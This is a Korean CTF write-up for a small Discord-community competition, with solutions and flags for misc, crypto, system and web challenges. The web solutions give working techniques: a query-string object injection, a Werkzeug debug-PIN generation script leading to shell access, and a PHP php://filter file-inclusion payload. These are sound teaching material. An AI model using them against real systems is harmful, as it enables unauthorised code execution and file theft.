약 3일간 한국 디스코드봇 리스트 디스코드내에서 재미삼아 조그만한 CTF를 진행해보았습니다.

생각보다 많은 분들이 참여해주셔서 감사드립니다 ^^

  • 해당 풀이 방법은 의도한 풀이방법입니다.
  • 해당 풀이와 다를 수는 있지만, 완전 방법이 다를 경우 틀린 풀이일 수 있습니다.

질문 있으시면 DM(wonderlandpark#9999) 주세요.

Misc

Hello, CTF

‌                                              

문제의 주석에 플래그가 있습니다.

FLAG: IU{Th1s_1s_My_F14g}

너의 의미

이미지 뒤쪽에 플래그가 있다. 텍스트 에디터나 strings 명령어 등을 사용하면 된다.

FLAG: IU{H1dden1nJpG}

임포스터

exiftool을 이용하여 파일들을 뒤적여준다.

그럼 간단하게 1.jpg 파일에 zip 파일이 포함되어있는걸 확인할 수 있다.

imposter binwalk -e 1.jpg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v1.0 to extract, compressed size: 18, uncompressed size: 18, name: FLAG
154           0x9A            End of Zip archive, footer length: 22

binwalk을 이용하여 압축을 풀어줍니다.

플래그가 짠!

FLAG: IU{A11_crewmates}

오늘 저녁은 민트초코

exiftool로 분석한 결과 zip 파일이 짠

binwalk

생겨난 zip 파일에 암호를 입력하라고 하는데 해당 zip 파일명을 base64로 디코딩해주면 Kore4nb0ts 라는 값이 나온다.

이를 암호로 입력해주면 플래그 파일에서 값을 확인할 수 있다.

FLAG: IU{Fi1eH2dden1nDoc}

화가난 솔로

URL로 접속하면 다음과 같이 표시된다.

PRI

http://dontgo.wonder.im

PRI는 HTTP METHOD중에 하나로 잘 쓰이진 않는다.

이로 보았을때 PRI Method로 요청을 보내보자.

curl -X PRI http://dontgo.wonder.im
WONDER

자칫 이값이 플래그라고 생각할 수 있지만 명심하자 플래그는 형식이 정해져있다.

curl -X WONDER http://dontgo.wonder.im
IUISBEST_
curl -X IUISBEST_ http://dontgo.wonder.im
IU-YOU_GOT_IT-

이 낚시에도 낚이면 안된다

curl -X IU-REAL_FLAG- http://dontgo.wonder.im
IU-REAL_FLAG-

한 번 더!

curl -X IU-REAL_FLAG- http://dontgo.wonder.im 
VTFaV04xWkhhR3hZZWtab1l6TlNabEpxUm1oYU16QTk=

나온 값을 base64로 3번 디코딩해준다.

FLAG: IU{The_1ast_F1ag}

Network

고양이

nc wargame.wonder.im 1234 

netcat을 이용하여 접속하면 플래그를 준다.

FLAG: IU{you_Know_h0w_T0_U$e_netcat}

Crypto

그 사람 나를 보아도 어떤건지 몰라요

rot 10‌

FLAG: IU{1m_rot_sixteen}

모솔의 노트

모솔의 노트에 적혀있는건 도깨비 글자이다.

힌트에 도깨비 OST도 올려져있기에 찾는건 그리 어렵지 않을거라고 생각했다.

위 이미지를 대입해준다.

아이 유 아이 에스 비 이 에스 티

플래그는 다음과 같다.

FLAG: IU{iuisbest}

system

basic

#include <stdio.h>
#include <stdlib.h>
int main(void){
    printf("나는 멋지다");
    char flag[50]="IU{HIDDEN}";
    write(5,flag,sizeof(flag));
    return 0;
}

‌소스코드를 보자

write() 함수를 사용하여 file descriptor에 써주고 있다.

따라서 다음과 같이 file descriptor를 리다이랙션 시켜주면 된다.

./basic 5>&1

5번 file descriptor를 1번(stdout)으로

FLAG: IU{fi1e_desCript0realF1ag}

web

Tim Cook, 질소를 샀더니

각각 쿠키 값을 읽어주면 된다.

FLAG: IU{mintchoco_is_better_than_cookie}

and

IU{Tastyyyyyyy_cooook12s}

반드시 너를 찾을게 플래그 ⭐

const express = require('express')
const app = express()
const port = 3000
const FLAG = 'HIDDEN'

app.get('/', (req, res) => {
  if(!req.query.name) return res.send('No Name')
  if(req.query.name.length == -1) return res.send(FLAG)
  res.send(`Hello, ${req.query.name}`)
})

app.listen(port, () => {
  console.log(`I'm Ready`)
})

소스코드는 위와 같다.

name이라는 쿼리 스트링에서 length 라는 property가 -1 이면 플래그를 보내준다.

하지만 텍스트의 길이는 음수가 될 수 없다.

따라서 이건 쿼리 스트링으로 오브젝트를 보내줘야한다

http://express.wonder.im/?name[length]=-1

FLAG: IU{Querystring_1s_n0t_$afe}

나는 그 소스를 몰라요

사이트에 접속해주면 alert가 반겨준다.

실제로 100000번을 따라하면 되지만 그건 현명하지 못한 아이디어다.

먼저, curl이나 wget, view-source 등을 이용하여 소스코드를 확인한다.

<html> 
    <head>
      <meta charset="utf8">
    </head>
    <body> 멋진 문제네요 </body> 
    <script> 
      // ...
    </script>
</html>

스크립트 태그 안에는 난독화 되어있는 소스코드가 있다.

이걸 분석할 필요가 없다.

위에 다음과 같이 선언해준다.

const alert = console.log
const prompt = (text) => text

다음과 같이 선언해주면 alert 대신 콘솔에 로그가 될테고, prompt 함수는 무조건 입력값이 반환값이 되도록해주면 모든 값이 true가 되어 100000번 입력할 필요가 없다.

‌                                              Upload

플래그 값이 0.5초도 걸리지 않고 나온다 짠~

FLAG: IU{Th1s1sTheRe4lF1ag}

오늘도 즐거운 백엔드 개발~

해당 문제는 Flask의 디버그 모드가 켜져있어 디버그 핀을 가져오면 된다.

디버그 핀을 가져오기 위해서 Werkzeung 코드를 분석해보길 바란다.

해당 블로그에 자세히 나와있다.

그냥 브라우저로 요청하면 ../../ 와 같은것들을 전부 마음대로 바꿔버리기에 node-fetch 등의 모듈을 사용하여 요청해주어야한다.

FROM python:3.8

EXPOSE 8000

RUN adduser --disabled-password happyctf
ADD ./server /server
WORKDIR /server
RUN pip install -r requirements.txt

USER happyctf

ENTRYPOINT ["python"]
CMD ["app.py"]

도커 파일을 확인해보면 유저명은 happyctf 이며 파이썬 버전은 3.8이다.

MAC 주소

MAC 주소를 숫자로 변환해준다

machine-id를 가져온다.

도커에서 돌아가고 있기에 cgroup 정보도 가져와야한다.

import hashlib
from itertools import chain
probably_public_bits = [
    'happyctf', # username
    'flask.app',# modname 고정
    'Flask',    # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
                                                          # python 버전 마다 위치 다름
]
 
private_bits = [
    '2485377892354',  # MAC주소를 int형으로 변환한 값,  
    '3766705eb195582e8168a9a1b913c7c77ea03280bece2c1c200fcc821a634f8c460fafb2bd3def7007f69c3556fd19d3'   # get_machine_id()
]
 
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

위 스크립트를 실행해준다.

나온 핀 코드로 쉘에 로그인해준다.

로그인 한 뒤 마음대로 스크립트를 실행하여 플래그를 확인한다.

FLAG: IU{s2cr2t_2xp1o1t}

솔로의 파일 저장소

결론부터 말하겠다.

http://solonote.wonder.im/?page=php://filter/convert.base64-encode/resource=../files/flag
<html>
<head>
<title>솔로의 파일 저장소</title>
</head>
<body>
    <h1>솔로의 파일 저장소</h1>
    <div>
      <?php
          ini_set('display_errors', 'Off');
          include $_GET['page']?$_GET['page'].'.php':'main.php';
      ?>
    </div>
</body>
</html>

파일을 보면 include를 사용하고 있다. include는 굉장히 취약하다. 따라서 php filter를 사용하여 파일을 base64로 인코드한 값으로 가져올 수 있다.

PD9waHAKCSRmbGFnID0gJ0lVe3BocC1maTF0ZXIteWVlZX0nOwo/PgrtlIzrnpjqt7jripQgJGZsYWfsl5DsmpQuIOq0gOyLrOuyleycvOuhnCDrs7TrqbQg65Cg6rG47JqUPwo=

해당값을 디코딩해주면

<?php
	$flag = 'IU{php-fi1ter-yeee}';
?>
플래그는 $flag에요. 관심법으로 보면 될걸요?

FLAG: IU{php-fi1ter-yeee}

마무리

참여해주신 여러분께 감사드립니다.

다시 돌아올 수 있다면 다시 돌아오겠습니다